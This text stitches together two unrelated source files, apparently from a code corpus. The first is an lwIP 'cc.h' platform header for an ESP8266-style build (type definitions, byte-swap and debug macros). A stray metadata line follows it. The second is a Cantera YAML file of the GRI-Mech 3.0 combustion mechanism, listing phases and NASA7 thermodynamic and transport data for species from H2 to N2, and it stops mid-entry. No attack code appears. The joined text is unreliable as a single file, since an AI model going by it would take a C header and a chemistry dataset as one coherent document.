/* * Copyright (c) 2001, Swedish Institute of Computer Science. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the Institute nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * This file is part of the lwIP TCP/IP stack. * * Author: Adam Dunkels <adam@sics.se> * */ #ifndef __ARCH_CC_H__ #define __ARCH_CC_H__ //#include <string.h> #include "c_types.h" #include "ets_sys.h" #include "osapi.h" #define EFAULT 14 //#define LWIP_PROVIDE_ERRNO #if (1) #define BYTE_ORDER LITTLE_ENDIAN #else #define BYTE_ORDER BIG_ENDIAN #endif typedef unsigned char u8_t; typedef signed char s8_t; typedef unsigned short u16_t; typedef signed short s16_t; typedef unsigned long u32_t; typedef signed long s32_t; typedef unsigned long mem_ptr_t; #define S16_F "d" #define U16_F "d" #define X16_F "x" #define S32_F "d" #define U32_F "d" #define X32_F "x" //#define PACK_STRUCT_FIELD(x) x __attribute__((packed)) #define PACK_STRUCT_FIELD(x) x #define PACK_STRUCT_STRUCT __attribute__((packed)) #define PACK_STRUCT_BEGIN #define PACK_STRUCT_END //#define LWIP_DEBUG #ifdef LWIP_DEBUG #define LWIP_PLATFORM_DIAG(x) os_printf x #define LWIP_PLATFORM_ASSERT(x) ETS_ASSERT(x) #else #define LWIP_PLATFORM_DIAG(x) #define LWIP_PLATFORM_ASSERT(x) #endif #define SYS_ARCH_DECL_PROTECT(x) #define SYS_ARCH_PROTECT(x) #define SYS_ARCH_UNPROTECT(x) #define LWIP_PLATFORM_BYTESWAP 1 #define LWIP_PLATFORM_HTONS(_n) ((u16_t)((((_n) & 0xff) << 8) | (((_n) >> 8) & 0xff))) #define LWIP_PLATFORM_HTONL(_n) ((u32_t)( (((_n) & 0xff) << 24) | (((_n) & 0xff00) << 8) | (((_n) >> 8) & 0xff00) | (((_n) >> 24) & 0xff) )) #if LWIP_RAW extern u8_t memp_memory_RAW_PCB_base[]; #endif /* LWIP_RAW */ #if LWIP_UDP extern u8_t memp_memory_UDP_PCB_base[]; #endif /* LWIP_UDP */ #if LWIP_TCP extern u8_t memp_memory_TCP_PCB_base[]; extern u8_t memp_memory_TCP_PCB_LISTEN_base[]; extern u8_t memp_memory_TCP_SEG_base[] SHMEM_ATTR; #endif /* LWIP_TCP */ #if (!NO_SYS || (NO_SYS && !NO_SYS_NO_TIMERS)) /* LWIP_TIMERS */ extern u8_t memp_memory_SYS_TIMEOUT_base[]; #endif /* LWIP_TIMERS */ extern u8_t memp_memory_PBUF_base[]; extern u8_t memp_memory_PBUF_POOL_base[]; #endif /* __ARCH_CC_H__ */
{ "pile_set_name": "Github" }
description: |- GRI-Mech Version 3.0 7/30/99 CHEMKIN-II format See README30 file at anonymous FTP site unix.sri.com, directory gri; WorldWideWeb home page http://www.me.berkeley.edu/gri_mech/ or through http://www.gri.org , under 'Basic Research', for additional information, contacts, and disclaimer Updated webpage at http://combustion.berkeley.edu/gri-mech/version30/text30.html Modified to add high-temperature thermodynamic polynomials by Joseph Shepherd at CalTech based on data from McBride et al. in NASA TM-4513 https://ntrs.nasa.gov/search.jsp?R=19940013151 generator: cti2yaml cantera-version: 2.5.0a3 date: Wed, 11 Dec 2019 16:59:05 -0500 input-files: [gri30_highT.cti] units: {length: cm, quantity: mol, activation-energy: cal/mol} phases: - name: gri30 thermo: ideal-gas elements: [O, H, C, N, Ar] species: [H2, H, O, O2, OH, H2O, HO2, H2O2, C, CH, CH2, CH2(S), CH3, CH4, CO, CO2, HCO, CH2O, CH2OH, CH3O, CH3OH, C2H, C2H2, C2H3, C2H4, C2H5, C2H6, HCCO, CH2CO, HCCOH, N, NH, NH2, NH3, NNH, NO, NO2, N2O, HNO, CN, HCN, H2CN, HCNN, HCNO, HOCN, HNCO, NCO, N2, AR, C3H7, C3H8, CH2CHO, CH3CHO] kinetics: gas reactions: all transport: mixture-averaged state: T: 300.0 P: 1.01325e+05 - name: gri30_mix thermo: ideal-gas elements: [O, H, C, N, Ar] species: [H2, H, O, O2, OH, H2O, HO2, H2O2, C, CH, CH2, CH2(S), CH3, CH4, CO, CO2, HCO, CH2O, CH2OH, CH3O, CH3OH, C2H, C2H2, C2H3, C2H4, C2H5, C2H6, HCCO, CH2CO, HCCOH, N, NH, NH2, NH3, NNH, NO, NO2, N2O, HNO, CN, HCN, H2CN, HCNN, HCNO, HOCN, HNCO, NCO, N2, AR, C3H7, C3H8, CH2CHO, CH3CHO] kinetics: gas reactions: all transport: mixture-averaged state: T: 300.0 P: 1.01325e+05 deprecated: >- The phase 'gri30_mix' in the file 'gri30_highT.yaml' is deprecated and will be removed after Cantera 2.5. The default phase 'gri30' now includes mixture-averaged transport properties by default and should be preferred. Please see the webpage at https://github.com/Cantera/cantera/wiki/deprecate_gri30_phases for more information. - name: gri30_multi thermo: ideal-gas elements: [O, H, C, N, Ar] species: [H2, H, O, O2, OH, H2O, HO2, H2O2, C, CH, CH2, CH2(S), CH3, CH4, CO, CO2, HCO, CH2O, CH2OH, CH3O, CH3OH, C2H, C2H2, C2H3, C2H4, C2H5, C2H6, HCCO, CH2CO, HCCOH, N, NH, NH2, NH3, NNH, NO, NO2, N2O, HNO, CN, HCN, H2CN, HCNN, HCNO, HOCN, HNCO, NCO, N2, AR, C3H7, C3H8, CH2CHO, CH3CHO] kinetics: gas reactions: all transport: multicomponent state: T: 300.0 P: 1.01325e+05 deprecated: >- The phase 'gri30_multi' in the file 'gri30_highT.yaml' is deprecated and will be removed after Cantera 2.5. You can use multi-component diffusion by including an optional argument to 'Solution': Python: ct.Solution('gri30.yaml', transport_model='Multi') MATLAB: Solution('gri30.yaml','gri30','Multi') C++: newSolution("gri30.yaml", "gri30", "Multi") Please see the webpage at https://github.com/Cantera/cantera/wiki/deprecate_gri30_phases for more information. species: - name: H2 composition: {H: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.34433112, 7.98052075e-03, -1.9478151e-05, 2.01572094e-08, -7.37611761e-12, -917.935173, 0.683010238] - [2.93286579, 8.26607967e-04, -1.46402335e-07, 1.54100359e-11, -6.88804432e-16, -813.065597, -1.02432887] transport: model: gas geometry: linear diameter: 2.92 well-depth: 38.0 polarizability: 0.79 rotational-relaxation: 280.0 note: TPIS78 - name: H composition: {H: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.5, 0.0, 0.0, 0.0, 0.0, 2.54736599e+04, -0.446682853] - [2.50000286, -5.65334214e-09, 3.63251723e-12, -9.1994972e-16, 7.95260746e-20, 2.54736589e+04, -0.446698494] transport: model: gas geometry: atom diameter: 2.05 well-depth: 145.0 note: L 7/88 - name: O composition: {O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.1682671, -3.27931884e-03, 6.64306396e-06, -6.12806624e-09, 2.11265971e-12, 2.91222592e+04, 2.05193346] - [2.54363697, -2.73162486e-05, -4.1902952e-09, 4.95481845e-12, -4.79553694e-16, 2.9226012e+04, 4.92229457] transport: model: gas geometry: atom diameter: 2.75 well-depth: 80.0 note: L 1/90 - name: O2 composition: {O: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.78245636, -2.99673415e-03, 9.847302e-06, -9.68129508e-09, 3.24372836e-12, -1063.94356, 3.65767573] - [3.66096083, 6.56365523e-04, -1.41149485e-07, 2.05797658e-11, -1.29913248e-15, -1215.97725, 3.41536184] transport: model: gas geometry: linear diameter: 3.458 well-depth: 107.4 polarizability: 1.6 rotational-relaxation: 3.8 note: TPIS89 - name: OH composition: {O: 1, H: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.99201543, -2.40131752e-03, 4.61793841e-06, -3.88113333e-09, 1.3641147e-12, 3615.08056, -0.103925458] - [2.83864607, 1.10725586e-03, -2.93914978e-07, 4.20524247e-11, -2.42169092e-15, 3943.95852, 5.84452662] transport: model: gas geometry: linear diameter: 2.75 well-depth: 80.0 note: RUS 78 - name: H2O composition: {H: 2, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.19864056, -2.0364341e-03, 6.52040211e-06, -5.48797062e-09, 1.77197817e-12, -3.02937267e+04, -0.849032208] - [2.67703787, 2.97318329e-03, -7.7376969e-07, 9.44336689e-11, -4.26900959e-15, -2.98858938e+04, 6.88255571] transport: model: gas geometry: nonlinear diameter: 2.605 well-depth: 572.4 dipole: 1.844 rotational-relaxation: 4.0 note: L 8/89 - name: HO2 composition: {H: 1, O: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.30179801, -4.74912051e-03, 2.11582891e-05, -2.42763894e-08, 9.29225124e-12, 294.80804, 3.71666245] - [4.17228728, 1.88117647e-03, -3.46277408e-07, 1.94657853e-11, 1.76254294e-16, 61.8102964, 2.95767746] transport: model: gas geometry: nonlinear diameter: 3.458 well-depth: 107.4 rotational-relaxation: 1.0 note: L 5/89 - name: H2O2 composition: {H: 2, O: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.27611269, -5.42822417e-04, 1.67335701e-05, -2.15770813e-08, 8.62454363e-12, -1.77542989e+04, 3.43505074] - [4.57333537, 4.0498407e-03, -1.29479479e-06, 1.9728171e-10, -1.13402846e-14, -1.80548121e+04, 0.704278488] transport: model: gas geometry: nonlinear diameter: 3.458 well-depth: 107.4 rotational-relaxation: 3.8 note: L 7/88 - name: C composition: {C: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.55423955, -3.21537724e-04, 7.33792245e-07, -7.32234889e-10, 2.66521446e-13, 8.54438832e+04, 4.53130848] - [2.60558298, -1.95934335e-04, 1.06737219e-07, -1.6423939e-11, 8.18705752e-16, 8.54129443e+04, 4.19238681] transport: model: gas geometry: atom diameter: 3.298 well-depth: 71.4 note: L11/88 - name: CH composition: {C: 1, H: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.48981665, 3.23835541e-04, -1.68899065e-06, 3.16217327e-09, -1.40609067e-12, 7.07972934e+04, 2.08401108] - [2.52090627, 1.76537235e-03, -4.61475705e-07, 5.92885472e-11, -3.34731962e-15, 7.11314363e+04, 7.40532163] transport: model: gas geometry: linear diameter: 2.75 well-depth: 80.0 note: TPIS79 - name: CH2 composition: {C: 1, H: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.74484879, 1.17960823e-03, 1.94502264e-06, -2.52932506e-09, 1.12447631e-12, 4.55799523e+04, 1.62850125] - [2.77723166, 3.83663476e-03, -1.3485322e-06, 2.11641255e-10, -1.23445662e-14, 4.58590304e+04, 6.67286429] transport: model: gas geometry: linear diameter: 3.8 well-depth: 144.0 note: L S/93 - name: CH2(S) composition: {C: 1, H: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.19331325, -2.33105184e-03, 8.15676451e-06, -6.62985981e-09, 1.93233199e-12, 5.03662246e+04, -0.74673431] - [3.13501686, 2.89593926e-03, -8.1666809e-07, 1.13572697e-10, -6.36262835e-15, 5.05040504e+04, 4.06030621] transport: model: gas geometry: linear diameter: 3.8 well-depth: 144.0 note: L S/93 - name: CH3 composition: {C: 1, H: 3} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.6735904, 2.01095175e-03, 5.73021856e-06, -6.87117425e-09, 2.54385734e-12, 1.64449988e+04, 1.60456433] - [2.96866033, 5.80717546e-03, -1.97778534e-06, 3.07278752e-10, -1.78853897e-14, 1.65388869e+04, 4.77944503] transport: model: gas geometry: linear diameter: 3.8 well-depth: 144.0 note: L11/89 - name: CH4 composition: {C: 1, H: 4} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [5.14987613, -0.0136709788, 4.91800599e-05, -4.84743026e-08, 1.66693956e-11, -1.02466476e+04, -4.64130376] - [1.63552643, 0.0100842795, -3.36916254e-06, 5.34958667e-10, -3.15518833e-14, -1.00056455e+04, 9.99313326] transport: model: gas geometry: nonlinear diameter: 3.746 well-depth: 141.4 polarizability: 2.6 rotational-relaxation: 13.0 note: L 8/88 - name: CO composition: {C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.57953347, -6.1035368e-04, 1.01681433e-06, 9.07005884e-10, -9.04424499e-13, -1.4344086e+04, 3.50840928] - [3.04848583, 1.35172818e-03, -4.85794075e-07, 7.88536486e-11, -4.69807489e-15, -1.42661171e+04, 6.0170979] transport: model: gas geometry: linear diameter: 3.65 well-depth: 98.1 polarizability: 1.95 rotational-relaxation: 1.8 note: TPIS79 - name: CO2 composition: {C: 1, O: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.35677352, 8.98459677e-03, -7.12356269e-06, 2.45919022e-09, -1.43699548e-13, -4.83719697e+04, 9.90105222] - [4.63659493, 2.74131991e-03, -9.95828531e-07, 1.60373011e-10, -9.16103468e-15, -4.90249341e+04, -1.93534855] transport: model: gas geometry: linear diameter: 3.763 well-depth: 244.0 polarizability: 2.65 rotational-relaxation: 2.1 note: L 7/88 - name: HCO composition: {H: 1, C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.22118584, -3.24392532e-03, 1.37799446e-05, -1.33144093e-08, 4.33768865e-12, 3839.56496, 3.39437243] - [3.64896209, 3.08090819e-03, -1.12429876e-06, 1.86308085e-10, -1.13951828e-14, 3712.09048, 5.06147406] transport: model: gas geometry: nonlinear diameter: 3.59 well-depth: 498.0 note: L12/89 - name: CH2O composition: {H: 2, C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.79372315, -9.90833369e-03, 3.73220008e-05, -3.79285261e-08, 1.31772652e-11, -1.43089567e+04, 0.6028129] - [3.16952654, 6.19320583e-03, -2.25056377e-06, 3.6597568e-10, -2.2014947e-14, -1.44784444e+04, 6.04209449] transport: model: gas geometry: nonlinear diameter: 3.59 well-depth: 498.0 rotational-relaxation: 2.0 note: L 8/88 - name: CH2OH composition: {C: 1, H: 3, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.86388918, 5.59672304e-03, 5.93271791e-06, -1.04532012e-08, 4.36967278e-12, -2505.01367, 5.47302243] - [4.67625639, 6.56406014e-03, -2.26525471e-06, 3.55602481e-10, -2.0862619e-14, -2892.48574, 0.487737005] transport: model: gas geometry: nonlinear diameter: 3.69 well-depth: 417.0 dipole: 1.7 rotational-relaxation: 2.0 note: GUNL93 - name: CH3O composition: {C: 1, H: 3, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.26524894, 3.30300117e-03, 1.70493964e-05, -2.27104476e-08, 8.8075652e-12, 333.281488, 7.4256804] - [4.26676538, 7.8538011e-03, -2.83739943e-06, 4.59039659e-10, -2.74426084e-14, -340.073227, 0.385637447] transport: model: gas geometry: nonlinear diameter: 3.69 well-depth: 417.0 dipole: 1.7 rotational-relaxation: 2.0 note: '121686' - name: CH3OH composition: {C: 1, H: 4, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [5.71539582, -0.0152309129, 6.52441155e-05, -7.10806889e-08, 2.61352698e-11, -2.56427656e+04, -1.50409823] - [3.60134486, 0.0102430954, -3.59985517e-06, 5.72505986e-10, -3.3911764e-14, -2.5997191e+04, 4.70512253] transport: model: gas geometry: nonlinear diameter: 3.626 well-depth: 481.8 rotational-relaxation: 1.0 note: L 8/88 - name: C2H composition: {C: 2, H: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.88965733, 0.0134099611, -2.84769501e-05, 2.94791045e-08, -1.09331511e-11, 6.68393932e+04, 6.22296438] - [3.36118395, 4.38989724e-03, -1.62772218e-06, 2.60556663e-10, -1.52939305e-14, 6.70492214e+04, 5.57127542] transport: model: gas geometry: linear diameter: 4.1 well-depth: 209.0 rotational-relaxation: 2.5 note: L 1/91 - name: C2H2 composition: {C: 2, H: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [0.808681094, 0.0233615629, -3.55171815e-05, 2.80152437e-08, -8.50072974e-12, 2.64289807e+04, 13.9397051] - [4.65878504, 4.88396547e-03, -1.60828775e-06, 2.46974226e-10, -1.3860568e-14, 2.57594044e+04, -3.99834772] transport: model: gas geometry: linear diameter: 4.1 well-depth: 209.0 rotational-relaxation: 2.5 note: L 1/91 - name: C2H3 composition: {C: 2, H: 3} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.21246645, 1.51479162e-03, 2.59209412e-05, -3.57657847e-08, 1.47150873e-11, 3.48598468e+04, 8.51054025] - [4.35105055, 7.49330091e-03, -2.64314586e-06, 4.21285906e-10, -2.49896119e-14, 3.41546181e+04, 0.571676529] transport: model: gas geometry: nonlinear diameter: 4.1 well-depth: 209.0 rotational-relaxation: 1.0 note: L 2/92 - name: C2H4 composition: {C: 2, H: 4} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.95920148, -7.57052247e-03, 5.70990292e-05, -6.91588753e-08, 2.69884373e-11, 5089.77593, 4.09733096] - [3.99182761, 0.010483391, -3.71721385e-06, 5.94628514e-10, -3.53630526e-14, 4268.65819, -0.269052151] transport: model: gas geometry: nonlinear diameter: 3.971 well-depth: 280.8 rotational-relaxation: 1.5 note: L 1/91 - name: C2H5 composition: {C: 2, H: 5} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.30646568, -4.18658892e-03, 4.97142807e-05, -5.99126606e-08, 2.30509004e-11, 1.28416265e+04, 4.70720924] - [4.28800535, 0.0124337374, -4.41383829e-06, 7.06526943e-10, -4.20341856e-14, 1.205642e+04, 0.845299623] transport: model: gas geometry: nonlinear diameter: 4.302 well-depth: 252.3 rotational-relaxation: 1.5 note: L12/92 - name: C2H6 composition: {C: 2, H: 6} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.29142492, -5.5015427e-03, 5.99438288e-05, -7.08466285e-08, 2.68685771e-11, -1.15222055e+04, 2.66682316] - [4.04666674, 0.0153538766, -5.47039321e-06, 8.77826228e-10, -5.23167305e-14, -1.24473512e+04, -0.968683607] transport: model: gas geometry: nonlinear diameter: 4.302 well-depth: 252.3 rotational-relaxation: 1.5 note: L 8/88 - name: HCCO composition: {H: 1, C: 2, O: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 6000.0] data: - [2.2517214, 0.017655021, -2.3729101e-05, 1.7275759e-08, -5.0664811e-12, 2.0059449e+04, 12.490417] - [5.6282058, 4.0853401e-03, -1.5934547e-06, 2.8626052e-10, -1.9407832e-14, 1.9327215e+04, -3.9302595] transport: model: gas geometry: nonlinear diameter: 2.5 well-depth: 150.0 rotational-relaxation: 1.0 note: SRIC91 - name: CH2CO composition: {C: 2, H: 2, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.1358363, 0.0181188721, -1.73947474e-05, 9.34397568e-09, -2.01457615e-12, -7042.91804, 12.215648] - [5.75793307, 6.34911413e-03, -2.25814835e-06, 3.62026733e-10, -2.15651204e-14, -7978.78384, -6.1077215] transport: model: gas geometry: nonlinear diameter: 3.97 well-depth: 436.0 rotational-relaxation: 2.0 note: L 5/90 - name: HCCOH composition: {C: 2, O: 1, H: 2} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [1.2423733, 0.031072201, -5.0866864e-05, 4.3137131e-08, -1.4014594e-11, 8031.6143, 13.874319] - [5.9238291, 6.79236e-03, -2.5658564e-06, 4.4987841e-10, -2.9940101e-14, 7264.626, -7.6017742] transport: model: gas geometry: nonlinear diameter: 3.97 well-depth: 436.0 rotational-relaxation: 2.0 note: SRI91 - name: N composition: {N: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.5, 0.0, 0.0, 0.0, 0.0, 5.6104637e+04, 4.1939087] - [2.4159429, 1.7489065e-04, -1.1902369e-07, 3.0226245e-11, -2.0360982e-15, 5.6133773e+04, 4.6496096] transport: model: gas geometry: atom diameter: 3.298 well-depth: 71.4 note: L 6/88 - name: NH composition: {N: 1, H: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.4929085, 3.1179198e-04, -1.4890484e-06, 2.4816442e-09, -1.0356967e-12, 4.1880629e+04, 1.8483278] - [2.7836928, 1.329843e-03, -4.2478047e-07, 7.8348501e-11, -5.504447e-15, 4.2120848e+04, 5.7407799] transport: model: gas geometry: linear diameter: 2.65 well-depth: 80.0 rotational-relaxation: 4.0 note: And94 - name: NH2 composition: {N: 1, H: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.2040029, -2.1061385e-03, 7.1068348e-06, -5.6115197e-09, 1.6440717e-12, 2.188591e+04, -0.14184248] - [2.8347421, 3.2073082e-03, -9.3390804e-07, 1.3702953e-10, -7.9206144e-15, 2.2171957e+04, 6.5204163] transport: model: gas geometry: nonlinear diameter: 2.65 well-depth: 80.0 polarizability: 2.26 rotational-relaxation: 4.0 note: And89 - name: NH3 composition: {N: 1, H: 3} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.2860274, -4.660523e-03, 2.1718513e-05, -2.2808887e-08, 8.2638046e-12, -6741.7285, -0.62537277] - [2.6344521, 5.666256e-03, -1.7278676e-06, 2.3867161e-10, -1.2578786e-14, -6544.6958, 6.5662928] transport: model: gas geometry: nonlinear diameter: 2.92 well-depth: 481.0 dipole: 1.47 rotational-relaxation: 10.0 note: J 6/77 - name: NNH composition: {N: 2, H: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.3446927, -4.8497072e-03, 2.0059459e-05, -2.1726464e-08, 7.9469539e-12, 2.8791973e+04, 2.977941] - [3.7667544, 2.8915082e-03, -1.041662e-06, 1.6842594e-10, -1.0091896e-14, 2.8650697e+04, 4.4705067] transport: model: gas geometry: nonlinear diameter: 3.798 well-depth: 71.4 rotational-relaxation: 1.0 note: T07/93 - name: NO composition: {N: 1, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.2184763, -4.638976e-03, 1.1041022e-05, -9.3361354e-09, 2.803577e-12, 9844.623, 2.2808464] - [3.2606056, 1.1911043e-03, -4.2917048e-07, 6.9457669e-11, -4.0336099e-15, 9920.9746, 6.3693027] transport: model: gas geometry: linear diameter: 3.621 well-depth: 97.53 polarizability: 1.76 rotational-relaxation: 4.0 note: RUS 78 - name: NO2 composition: {N: 1, O: 2} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.9440312, -1.585429e-03, 1.6657812e-05, -2.0475426e-08, 7.8350564e-12, 2896.6179, 6.3119917] - [4.8847542, 2.1723956e-03, -8.2806906e-07, 1.574751e-10, -1.0510895e-14, 2316.4983, -0.11741695] transport: model: gas geometry: nonlinear diameter: 3.5 well-depth: 200.0 rotational-relaxation: 1.0 note: L 7/88 - name: N2O composition: {N: 2, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.2571502, 0.011304728, -1.3671319e-05, 9.6819806e-09, -2.9307182e-12, 8741.7744, 10.757992] - [4.8230729, 2.6270251e-03, -9.5850874e-07, 1.6000712e-10, -9.7752303e-15, 8073.4048, -2.2017207] transport: model: gas geometry: linear diameter: 3.828 well-depth: 232.4 rotational-relaxation: 1.0 note: L 7/88 - name: HNO composition: {H: 1, N: 1, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.5334916, -5.6696171e-03, 1.8473207e-05, -1.7137094e-08, 5.5454573e-12, 1.1548297e+04, 1.7498417] - [2.9792509, 3.4944059e-03, -7.8549778e-07, 5.7479594e-11, -1.9335916e-16, 1.1750582e+04, 8.6063728] transport: model: gas geometry: nonlinear diameter: 3.492 well-depth: 116.7 rotational-relaxation: 1.0 note: And93 - name: CN composition: {C: 1, N: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [3.6129351, -9.5551327e-04, 2.1442977e-06, -3.1516323e-10, -4.6430356e-13, 5.170834e+04, 3.9804995] - [3.7459805, 4.3450775e-05, 2.9705984e-07, -6.8651806e-11, 4.4134173e-15, 5.1536188e+04, 2.7867601] transport: model: gas geometry: linear diameter: 3.856 well-depth: 75.0 rotational-relaxation: 1.0 note: HBH92 - name: HCN composition: {H: 1, C: 1, N: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.2589886, 0.01005117, -1.3351763e-05, 1.0092349e-08, -3.0089028e-12, 1.4712633e+04, 8.9164419] - [3.8022392, 3.1464228e-03, -1.0632185e-06, 1.6619757e-10, -9.799757e-15, 1.4407292e+04, 1.5754601] transport: model: gas geometry: linear diameter: 3.63 well-depth: 569.0 rotational-relaxation: 1.0 note: GRI/98 - name: H2CN composition: {H: 2, C: 1, N: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 6000.0] data: - [2.851661, 5.6952331e-03, 1.07114e-06, -1.622612e-09, -2.3511081e-13, 2.863782e+04, 8.9927511] - [5.209703, 2.9692911e-03, -2.8555891e-07, -1.63555e-10, 3.0432589e-14, 2.7677109e+04, -4.444478] transport: model: gas geometry: linear diameter: 3.63 well-depth: 569.0 rotational-relaxation: 1.0 note: '41687' - name: HCNN composition: {C: 1, N: 2, H: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [2.5243194, 0.015960619, -1.8816354e-05, 1.212554e-08, -3.2357378e-12, 5.4261984e+04, 11.67587] - [5.8946362, 3.9895959e-03, -1.598238e-06, 2.9249395e-10, -2.0094686e-14, 5.3452941e+04, -5.1030502] transport: model: gas geometry: nonlinear diameter: 2.5 well-depth: 150.0 rotational-relaxation: 1.0 note: SRI/94 - name: HCNO composition: {H: 1, N: 1, C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1382.0, 5000.0] data: - [2.64727989, 0.0127505342, -1.04794236e-05, 4.41432836e-09, -7.57521466e-13, 1.92990252e+04, 10.7332972] - [6.59860456, 3.02778626e-03, -1.07704346e-06, 1.71666528e-10, -1.01439391e-14, 1.79661339e+04, -10.3306599] transport: model: gas geometry: nonlinear diameter: 3.828 well-depth: 232.4 rotational-relaxation: 1.0 note: BDEA94 - name: HOCN composition: {H: 1, N: 1, C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1368.0, 5000.0] data: - [3.78604952, 6.88667922e-03, -3.21487864e-06, 5.17195767e-10, 1.19360788e-14, -2826.984, 5.63292162] - [5.89784885, 3.16789393e-03, -1.11801064e-06, 1.77243144e-10, -1.04339177e-14, -3706.53331, -6.18167825] transport: model: gas geometry: nonlinear diameter: 3.828 well-depth: 232.4 rotational-relaxation: 1.0 note: BDEA94 - name: HNCO composition: {H: 1, N: 1, C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1478.0, 5000.0] data: - [3.63096317, 7.30282357e-03, -2.28050003e-06, -6.61271298e-10, 3.62235752e-13, -1.55873636e+04, 6.19457727] - [6.22395134, 3.17864004e-03, -1.09378755e-06, 1.70735163e-10, -9.95021955e-15, -1.66599344e+04, -8.38224741] transport: model: gas geometry: nonlinear diameter: 3.828 well-depth: 232.4 rotational-relaxation: 1.0 note: BDEA94 - name: NCO composition: {N: 1, C: 1, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [2.8269308, 8.8051688e-03, -8.3866134e-06, 4.8016964e-09, -1.3313595e-12, 1.4682477e+04, 9.5504646] - [5.1521845, 2.3051761e-03, -8.8033153e-07, 1.4789098e-10, -9.0977996e-15, 1.4004123e+04, -2.544266] transport: model: gas geometry: linear diameter: 3.828 well-depth: 232.4 rotational-relaxation: 1.0 note: EA 93 - name: N2 composition: {N: 2} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [3.298677, 1.4082404e-03, -3.963222e-06, 5.641515e-09, -2.444854e-12, -1020.8999, 3.950372] - [2.92664, 1.4879768e-03, -5.68476e-07, 1.0097038e-10, -6.753351e-15, -922.7977, 5.980528] transport: model: 